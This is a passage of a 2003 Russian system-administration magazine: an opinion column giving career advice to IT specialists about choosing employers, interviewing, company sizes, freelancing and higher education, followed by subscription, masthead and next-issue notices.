Куда бы вы ни стремились устроится: хоть в Микро-софт, хоть в Вася Пупкин и К, вы устроитесь туда, еслибудете действовать по плану! Впрочем, Микрософт, по-любому это не лучший выбор (см. врезку «Корпорациии крупные компании»), а Васи Пупкины – они очень раз-ные бывают. Поэтому, выбирая будущее место своейработы, прежде всего к нему присмотритесь. Сделавставку на молодую фирму, вы можете сорвать большойкуш, т.к. такие фирмы обычно испытывают большие про-блемы с персоналом и потому могут сразу же предло-жить чрезвычайно соблазнительные условия, однакоесли фирма через год-два рухнет, вы останетесь прак-тически ни с чем и весь процесс придется начинать сна-чала (впрочем, приобретенный опыт с вами все-такиостанется). Фирмы, существующие на рынке нескольколет (а то и десятилетий) также не гарант стабильности,и прежде чем туда соваться, вы должны в меру своихсил и возможностей изучить перспективы долгосрочно-го развития фирмы. Посмотрите: не расширялась лифирма до размеров амбиций своего директора в тотпериод, когда ей следовало бы бросить все силы на вы-живание? Соответствует ли зарплата сотрудников дохо-ду? Многие фирмы в плане привлечения специалистовувеличивают им зарплату до той степени, что работаспециалистов перестает быть доходной и тогда зарпла-та вновь возвращается в нормальное русло (в результа-те чего все специалисты просто разбегаются), либо жефирма просто разлетается по швам.

Другой немаловажный критерий: отношение руковод-ства к своим сотрудникам. Не секрет, что во многих фир-мах отношение к людям поистине скотское: начальствопостоянно треплет нервы, беспричинно объявляет выго-воры, загружает работой сверх всяких норм и при этомсчитает, что персонал им чем-то еще и обязан. В другихже фирмах, напротив, начальник – чуть ли не отец род-ной и атмосфера в коллективе мягкая и спокойная. Никтоникого не пытается «подсидеть» или «обойти» в карьер-ной гонке на выживание. Иной специалист, нарвавшисьна плохую фирму, начинает считать, что сейчас все фир-мы такие. Вовсе нет! Ищите то, что вам нужно, и вы этонайдете! Интернет-знакомства в этом помогают до чрез-вычайности, просто заведите более или менее личнуюпереписку с некоторыми симпатичными лично вам сотруд-никами различных фирм – как ведущими специалистами,так и простыми рабочими. Сразу же станет ясно что к чемуи что та или иная фирма собой представляет.

Итак, фирма выбрана. Друзья в ней у вас уже имеют-ся. Ваша квалификация им отлично известна (ну не бол-тали же вы все это время о погоде? Наверняка ведь об-суждали те или иные технические проблемы и не исклю-чено, что оказывали фирме довольно ценные услуги). Ичто вы думаете, они еще и не принять вас могут?!

Стратегия действий в ситуации«выбирают вас»Собственно говоря, у любого нормального специалистапроблема в трудоустройстве только одна: найти вескийповод для отказа очередному нанимателю, ухитрившисьпри этом его не обидеть (а обижать нельзя, мало ли, вдругс ним еще сотрудничать придется).

Просто занимайтесь своим любимым делом: ковыряй-тесь в железе, пишите программки «для души», изучайтесетевые протоколы, общайтесь по Интернету, и вы самине заметите, как предложения о работе посыпятся одно задругим. Выбирайте! И не стесняйтесь диктовать свои ус-ловия нанимателям. Ведь это они пришли к вам, это онинуждаются в вас, так что никакие компромиссы тут неуме-стны. Зачем соглашаться на заведомо плохую работу, еслизавтра наверняка появится еще более хорошая? Только непереоцените свои возможности и свою значимость в гла-зах нанимателя и – упаси Боже – не заразитесь звезднойболезнью, уверовав в то, что вы крутой специалист, кото-рый все знает и которому все нипочем.

Несколько советов,как вести себя на собеседованииПервое и главное. Не бойся показаться дураком, бойсяпоказаться умным. Умный человек часто становится уг-розой для его непосредственного начальника, и от такихзаблаговременно пытаются избавляться.

Второе. Не интересуйся зарплатой. Не интересуйсяусловиями труда. Интересуйся работой. Это вызываетуважение работодателя и значительно увеличивает твоишансы на успех. А зарплата… не понравится – уйдешь.

Третье. Не обещай работодателю того, что ты все равноне собираешься делать, и вообще поменьше всего обещай,не строй никаких планов (Да я тут вам! Да я горы сверну!

Вот только дорвусь до лопаты!). Напротив, будь сдержан (вотосмотрюсь, вольюсь в струю коллектива, а там… если дотой поры вы меня не уволите… мы и посмотрим).

Четвертое (вытекающее из третьего). Не ходи в чужоймонастырь со своим уставом. Не пытайся убеждать фир-му, что они делают что-то не так, и что ты мог бы сделатьэто лучше.

Пятое (диаметрально расходящееся с четвертым).Если у тебя есть свои идеи и ты видишь, что кое-что здесьможно было бы и улучшить, не пытайся загонять инициа-тиву внутрь. Дай ей свободу. Может быть, конкретно в этомместе тебе и откажут, но рано или поздно ты найдешьименно ту работу, которую тебе нужно.

Page 94: 010 Системный Администратор 09 2003

92

IMHO

Шестое. Если тебя спросят то, чего ты не знаешь, говориправду «не знаю» и не думай, что ты подписываешь этимисловами свой смертный приговор. В конце концов работо-датель и не надеется найти специалиста, который бы всезнал (такой специалист далеко не каждому по карману).

Седьмое. Постарайся поставить работодателя в не-стандартную ситуацию. Если он говорит десять тысяч руб-лей, говори: «Нет! (и после непродолжительной паузы) Де-сять – это слишком много. Давайте пять… (пауза) дляначала. А там, когда мы присмотримся друг к другу, – тамвидно будет».

Восьмое. Если работодатель, ранее незнакомый тебе,попытается с места в карьер перескочить на дружескиеотношения, держись от него на официальной дистанции,ибо такая «дружба» обычно приводит к необходимостивыполнения поручений, непосредственно не связанныхс твоей работой и к тому же никак не оплачиваемых.

Девятое. Если тебя все-таки не приняли – не расстраи-вайся. Возможно, причина вовсе не в тебе, а в нанимателе.

Корпорации и крупные компанииЗдесь вы будете чувствовать себя крошечным винтикомгигантской машины, ваше мнение никого не будет интере-совать, вас обяжут соблюдать определенный корпоратив-ный кодекс (даже если он будет противен вам). Атмосферакомпании скорее всего будет нездоровая. Из низких чиновбудет полно кретинических карьеристов (и вам придетсяим подчиняться), среднее и высшее руководство ничегоне будет знать о вашем существовании (ну кто вы для них),а от ваших коллег (среди которых карьеристы тоже най-дутся) придется в любой момент ждать удара в спину.

Теперь о плюсах. Устроиться в такие компании оказы-вается на удивление легко, однако к вашим профессиональ-ным навыкам отношение будет довольно скептическим (типа:вот проработай в компании с мое), хотя у многих тамошнихавторитетов с солидным стажем и высокими должностямидаже зачатки профессионализма и не ночевали. Умныелюди, конечно, будут. И их будет много. Но дураков будетеще больше. Заплаты здесь средние (кормить свой штат вовсей его своре непросто даже гигантам), правда, зарплатарезко растет вместе с карьерой, но карьеру в силу огром-ной конкуренции здесь строить трудно. Профессиональныхнавыков такая работа тоже не дает (сначала вы будете ка-менщиком, который должен класть от сих до сих, даже еслиэто и заведомо неправильно, а все попытки проявить ини-циативу будут жестоко вырезаться на корню, потом вы бу-дете руководителем каменщиков, которому сверху спущенплан, кривой, как бумеранг, разумеется, но внесение исправ-лений выходит за пределы вашей компетенции…. даже есливы пробьетесь в архитекторы, вы окажетесь под жестокимдавлением кучи дизайнеров, менеджеров и прочих марке-тоидов, предъявляющих к проекту нелепые и взаимоисклю-чающие требования). Черт, минусов все-таки выходит боль-ше. Зато уходить с работы вы будете в точно заданное вре-мя. Секунда в секунду.

Средние компанииНет, вы не винтик. Вы структурная единица (по типу семья –ячейка общества), и к вашему мнению иногда будет прислу-

шиваться даже Сам Главный. Корпоративный кодекс (еслион вообще есть) обычно распространяется на «мальчиков»и «девочек», специально нанятых для демонстрации «лицафирмы». Специалисты (особенно хорошие) находятся в до-вольно независимых условиях и могут жить в собственномстиле (только голых баб на стенку не надо, ок?). Атмосфераздесь бывает самая разнообразная, но чаще относительноневысокой степени загазованности (то есть жить можно, хотяв горле все-таки першит). Карьеристов не так много, а от-кровенных идиотов среди них, за редкими исключениями, ивовсе нет. При наличии дипломатических навыков вы быст-ро наладите хорошие отношения со всей вертикалью влас-ти, и если «нижние» начнут прижимать, вы сможете урегу-лировать ситуацию путем обращения «наверх».

Устроиться в такие компании достаточно тяжело, т.к. всехорошие места уже давно схвачены, а штат и так раздутсверх предела. Зато если уж устроились, то для реализациисобственного потенциала лучшего плацдарма и не приду-маешь. Никто, конечно, не говорит, что все будет идти какпо маслу. Вы встретите и равнодушное непонимание, и оже-сточенное сопротивление, и даже палки в колесах, все этотак, но… у средних фирм есть все необходимые средствадля реализации ваших планов (если только они не совсемуж грандиозные), и к тому же есть потребность в новых иде-ях (иначе компания просто не удержится на рынке). Так чтодерзайте. Удачи не желаю (удача – баба подлая и непосто-янная), а вот лошадиная работоспособность вам бы не по-мешала. Концентрация интеллектуального потенциала наодно рабочее место в таких компаниях, как нигде, высока,поэтому, если сумеете убедить в перспективности своих идейвсех окружающих, вместе горы свернете.

Зарплаты высокие и очень высокие (штат небольшой,а его рентабельность велика), правда, карьеру сделатьеще труднее, чем в крупных компаниях, т.к. в отличие отпоследних плановыми ротациями кадров здесь и не пах-нет, да и вообще начальство меняется редко и неохотно.Тем не менее, если нельзя развиваться вглубь, это ещене означает, что вы не сможете развиваться вширь. Ра-ботайте на своем рабочем месте, оттачивайте свои зна-ния и навыки, наконец, просто получайте удовольствиеот самого процесса работы! Тем более что сверхурочныезадержки здесь не редкость, а норма.

Мелкие компанииПоздравляю! Вы в зазеркалье. Всякая мелкая компания естьпроекция личности ее шефа на обстановку окружающейдействительности. И чем компания мельче, тем она все за-зеркалистее и зазеркалистее. Это может быть воздушныйзамок, расположенный в дорогом офисе и с ног до головынапичканный дорогой оргтехникой и улыбающимися личи-ками топ-моделей, пытающихся играть роль секретарш.Доходность предприятия, равно как и профессиональныенавыки его сотрудников, директора абсолютно не интересу-ют (он вообще создал эту фирму ради отмывания денег). Ноэто может быть и прокуренная подвальная комната, войти вкоторую можно только изогнувшись по синусоиде. Здесь всесвои, и сигаретный дым – один на всех. Начальник имеетровно столько же привилегий, сколько и остальные членыкоманды. Ничего, хотя бы отдаленно напоминающего сле-

Page 95: 010 Системный Администратор 09 2003

93№9(10), сентябрь 2003

iMHO

ды субординации, и в помине нет! Подчас такие командыбывают на редкость сплоченными, особенно если охваченыодной общей идеей, и устроиться сюда на работу может ока-заться очень и очень трудно. Как правило, требуется личноезнакомство или рекомендация одного из членов команды.

Концентрация умных людей в мелких компаниях можетдостигать и 120%. Работать в такой атмосфере чрезвычай-но интересно и увлекательно, правда, работать приходитсяочень и очень много. Порой – по 40-50 часов кряду (и этоотнюдь не гипербола!), причем, без каких-либо гарантийполучения достойной оплаты за свой труд. Все зависит оттого, насколько хорошо пойдет продукт на рынке. И, как по-казывает практика, без посторонней помощи даже отлич-ный продукт никуда не идет. Отсутствие грамотного менед-жера, отсутствие долгосрочной рыночной стратегии, неуме-лое планирование и амбициозные идеи при полном отсут-ствии финансовых средств приводят к тому, что множествомелких фирм разоряются чуть ли не в течение года. Самоепечальное, что реального опыта работа в таких фирмах недает, да и не может дать. Концентрация на частных пробле-мах, общение с ограниченным кругом людей (не путать скругом ограниченных людей), изматывающая работа не ос-тавляют после себя практически ничего. Ничего, что пред-ставляло бы интерес для будущих работодателей.

Свободный копейщикПрактически все то же самое, что и в мелкой компании,однако в своем домашнем офисе вы сам себе хозяин и

потому можете заниматься именно тем, что вас в данныймомент больше всего интересует. Если сотрудничать с не-сколькими фирмами одновременно, то вы практически насто процентов застрахованы от внезапного краха. Про-граммируйте, администрируйте, ищите дыры в системахбезопасности – сотни компаний нуждаются в ваших ус-лугах и перебоев с заказами не будет. Правда, работатьпридется не очень много, а настолько много, что понача-лу даже страшно себе представить, причем пословицу«Волка ноги кормят» вам придется вспоминать не раз ине два. Такая работа сильно изматывает, и, несмотря навсе прелести вольной жизни, свободный копейщик прак-тически никогда не отказывается от постоянной работы –стоит ему ее только предложить.

В самом деле – перспектив карьерного роста здесьнет никаких (выше себя не прыгнешь). Сидишь, варишь-ся в собственном соку, и ни обмена идеями тебе, ни про-стой дружеской помощи в трудные часы. Конечно, об-щаться с коллегами можно и по Интернету, но это все-таки не то. Свободные копейщики – они, как кошки, бро-дят где-то там сами по себе, на свою территорию чужихне пускают, а профессиональными секретами делятсякрайне неохотно (ведь знания – это их хлеб). Возможно-стей для реализации серьезных проектов у одиночек нет.Если же несколько свободных кошек собираются в однукоманду, то это будет фирма, независимо от того, заре-гистрирована она официально или нет.

ALMA MATERЧему учат в институтах, спешно переименованных в боль-шинстве своем в университеты? Ну чему-нибудь да учат…Не спорю, высшее образование грузилом в кармане ни-когда не будет, хотя не будет оно и тем спасительным «по-плавком», которым было при социализме. В наши дни дип-лом для трудоустройства абсолютно необязателен. Авторэтой статьи не имеет диплома, и его отсутствие ни разу нестановилась непреодолимой преградой успешного трудо-устройства. Даже наоборот. Устраиваясь в одну довольнопрестижную и именитую фирму, автор попал на собеседо-вание непосредственно к самому Главному Инженеру толь-ко потому, что тот заинтересовался: что ж это за птица та-кая набралась наглости сунуться сюда без следов свиде-тельств высшего образования, когда к ним и «нормальные»люди устроиться не могут. Собеседование с руководящи-ми работниками фирмы в таких случаях решает все, и есливы действительно квалифицированный специалист, то свероятностью, близкой к единице, вас возьмут. Хуже, ко-нечно, нарваться на девочку-секретаршу. Этой весь вашпрофессионализм по барабану, и потому любыми путямипробивайте дорогу наверх – к начальству.

Если хорошенько подумать, то можно прийти к выводу,что высшее образование – это рулетка. Повезет – вы ока-жетесь в коллективе умных людей, у которых действитель-но есть чему поучиться, а не повезет – понапрасну потра-тите время, причем весьма значительное его количество.А ведь способность к обучению стремительно тает с воз-растом. Так, может быть, лучше плюнуть на традиции ивместо поступления в вуз заняться вопросами своего обу-

чения самостоятельно? Ведь в конечном итоге специалис-ты по информационным технологиям учатся всю своюжизнь. Приобретаемые знания и навыки настолько быстроустаревают, что описание передовых технологий просто неуспевает попасть в учебники, а преподаватели оказыва-ются не в состоянии совмещать преподавательскую дея-тельность с изучением всего нового. Да, конечно, какой-токостяк знаний остается незыблемым и фундаментальным,но… весь фокус в том, что: а) изучать фундаментальныезнания можно и вне института, учебников на то – море; б) -понятие «фундаментальности» очень относительно. Вот,допустим, интеграл. Вполне себе фундаментальное зна-ние, но я знаю очень много высококвалифицированных про-граммистов, которые с необходимостью вычисления интег-ралов так ни разу и не сталкивались. Поклонники высшегообразования говорят: а вдруг завтра этот интеграл им при-годится, а с ним еще и матрицы в придачу?! Что ж! Еслитак, то алгоритм действий будет предельно прост. Идем вближайшую библиотеку (или же вовсе в Интернет), беремтам все, что мы хотели бы знать об интегралах, изучаем внеобходимом разрезе, реализуем, что нам там было надореализовать, и… забываем все это напрочь! (Негоже вся-кий хлам в мозгу держать, и если хотите сохранить цепкуюпамять – учитесь все ненужное забывать). Какой смысл му-чительно вспоминать с горем пополам зазубренные зна-ния, какой смысл вообще зубрить весь «джентльменскийнабор»? Потребуется – поднимете соответствующую ли-тературу и прочитаете. То, что требуется часто, запомнит-ся и так. То же, что требуется от случая к случаю, запоми-нать нет необходимости.

Page 96: 010 Системный Администратор 09 2003

94

IMHO

Работа как средствосамоидентификации!Говорят, что у «нас» работают, чтобы жить, а на Западе –живут, чтобы работать. Если работа не приносит мораль-ного удовлетворения, если основным символом успехастановятся деньги, то единственное, что остается поре-комендовать в такой ситуации: идите на рынок и торгуй-те бананами, а в компьютерной индустрии вам делатьнечего. Не секрет, что многие становятся программиста-ми лишь потому, что это «модно», «престижно» и к томуже достаточно перспективно в карьерном и финансовомотношении.

Выбирать работу по принципу «выгодности», а не постепени призвания, вероятно, и есть основной отличитель-ный признак «нового» времени от «доперестроечного»прошлого. Помилуйте, судари/господа! Чтобы работать ввысокотехнологических сферах надобно призвание иметь,то есть определенные наклонности от природы или хотябы непреодолимую тягу к компьютерам наконец. Причемэта тяга должна выражаться не в стремлении купить про-цессор покруче и запустить стрелялку поDOOMовистее,а, напротив, изучить свой недорогой и далеко не самыйсовременный компьютер так, чтобы научиться чувство-вать движение электронов в любой из его токовых цепей.

Наивно считать, что всему этому можно научиться в

институте, да окончите вы его хоть с красным дипломом,но если наклонности к инженерным дисциплинам у васнет, то справиться с нештатными ситуациями вы все рав-но не сможете. В лучшем случае будете худо-бедно ез-дить по наезженному кругу. Конечно, рынку требуютсяи такие люди, и у вас имеются достаточно неплохие шан-сы найти себе отличную (в смысле зарплаты) работу,но… если вы ее не полюбите, то, спрашивается, чего жестоит вся ваша жизнь? Если вы не идентифицируете себясо своей работой, если ваша работа не есть материаль-ное воплощение ваших мыслей и чувств, то вы – труппри жизни. Напротив, если все сделанное вами несетчастицу вас самого, вы будете жить ровно столько, сколь-ко протянет последний из продуктов вашего труда, аможет быть, и еще больше! Ведь всякое Хорошее Делостановится родоначальником других Хороших Дел.

Вот только найти свое настоящее призвание иной разоказывается очень трудно. Скажем, автор этой статьи,долгое время занимавшийся программированием и до-вольно скептически относящийся к журналистике/лите-ратуре, своих наибольших успехов добился именно налитературном поприще, что явилось для него полной нео-жиданностью. Поэтому не зацикливайтесь лишь на од-ном направлении! Подходите к поиску своего призваниятворчески и не бойтесь экспериментировать.

Page 97: 010 Системный Администратор 09 2003

95№9(10), сентябрь 2003

Альтернативная подписка: ООО «Интер-Почта» по тел. (095) 500-00-60Курьерская доставка по Москве

Рады видетьВас нашимичитателями!

Единыйподписнойиндекс:

81655по каталогуагентства«Роспечать»

8165581655816558165581655

8165581655816558165581655

Открыта редакционная подписка на II полугодие 2003 г.Информация на сайте www.samag.ru в разделе «Подписка»

подписка

Page 98: 010 Системный Администратор 09 2003

96

СИСТЕМНЫЙ АДМИНИСТРАТОР№9(10), Сентябрь, 2003 год

РЕДАКЦИЯ

Исполнительный директорВладимир ПоложевецОтветственный секретарьНаталья Хвостова[email protected]Технический редакторВладимир Лукин

РЕКЛАМНАЯ СЛУЖБАтел.: (095) 928-8253 (доб. 112)факс: (095) 928-8253Константин Меделянreс[email protected]

Верстка и оформление[email protected][email protected]

Дизайн обложкиНиколай Петрочук

103012, г. Москва,Ветошный переулок, дом 13/15тел.: (095) 928-8253 (доб. 112)факс: (095) 928-8253Е-mail: [email protected]: www.samag.ru

РУКОВОДИТЕЛЬ ПРОЕКТАПетр Положевец

УЧРЕДИТЕЛИВладимир ПоложевецАлександр Михалев

ИЗДАТЕЛЬЗАО «Издательский дом«Учительская газета»

Отпечатано типографиейООО «Мастер Печати»Тираж 5500 экз.

Журнал зарегистрированв Министерстве РФ по делам печати,телерадиовещания и средств мас-совых коммуникаций (свидетельствоПИ № 77-12542 от 24 апреля 2002г.)

За содержание статьи ответственностьнесет автор. За содержание рекламно-го обьявления ответственность несетрекламодатель. Все права на опубли-кованные материалы защищены. Ре-дакция оставляет за собой право изме-нять содержание следующих номеров.

ЧИТАЙТЕВ СЛЕДУЮЩЕМНОМЕРЕ:

Мы участвуем!На стыке сентября и октября наш журнал примет участие сразу в двух значи-тельных мероприятиях: 14-й ежегодной выставке информационных техноло-гий SofTool (30.09.2003 – 04.10.2003) и конференции АДЭ (ассоциация доку-ментальной электросвязи).

На SofTool все желающие могут найти нас на стенде №Е38, чтобы пооб-щаться с представителями журнала, задать интересующие вопросы, купитьстарые и новые номера и договориться о деловом сотрудничестве.

В Конференции АДЭ (30.09.2003 – 02.10.2003) примут участие специа-листы и руководители крупных фирм и организаций. Сама конференция бу-дет проходить в Подмосковье, в отеле Виноградово, и благодаря насыщенно-сти программы ожидается крайне плодотворной.

Рекламные материалы данных мероприятий вы сможете найти на страни-цах нашего журнала.

Свой собственный модульВ этой статье мы рассмотрим основ-ные операции с модулями ядра Linux,а также создание собственного моду-ля, позволяющего расширить возмож-ности ядра операционной системы.

В Linux драйверы выполнены ввиде модулей ядра. Ядро Linux содер-жит только самый необходимый код –чтобы только загрузиться. Поддерж-ку остальных устройств обеспечива-ют модули, которые встраиваются вядро при загрузке системы. С помо-щью пакета modutils, который будетрассмотрен ниже, вы можете доба-вить нужный вам модуль в ядро вовремя работы системы. При этом пе-резагружать систему не нужно – уст-ройство начнет работать сразу жепосле загрузки модуля.

Раньше, в первых версиях ядраLinux, механизм работы с модулямине был предусмотрен, и ядра тех вре-мен содержали в себе код драйверовдля всех поддерживаемых устройств.

Такое решение нельзя назватьрациональным. Мы не можем пре-дусмотреть, какие устройства будутустановлены у конечного пользова-теля, даже если включить в составядра драйверы всех возможных ус-тройств.

Исходя из всего этого, разработ-чики ядра Linux «изобрели» механизмдинамически загружаемых модулей.

Анализ защиты программи рекомендациипо её усилениюДля того чтобы защитить программыот взлома, необходимо знать, противчего мы боремся. Будем считать, чтомы являемся разработчиками про-граммного обеспечения и нам проти-востоит взломщик среднего уровня.

УстановкаIMAP4-сервера на базеcyrus-imapd + sendmailТрадиционный протокол POP3, ис-пользуемый клиентскими программа-ми для получения почты с сервера, об-ладает рядом недостатков – во-пер-вых, в рамках почтовой сессии парольпередается в открытом виде (plaintext) и злоумышленник может легкоего перехватить.

Во-вторых, если пользователь заби-рает почту с разных мест, ему вездепридется настраивать фильтры для сор-тировки в почтовом клиенте и скачи-вать заново всю почту с сервера.

В-третьих, если вы заведомо зна-ете, что вам нужно удалить какое-тосообщение прямо на сервере, пред-варительно его придется загрузить ксебе на машину.

Альтернативой POP3 может служитьIMAP (Internet Message Access Protocol),который и призван избавить пользова-теля от вышеупомянутых проблем.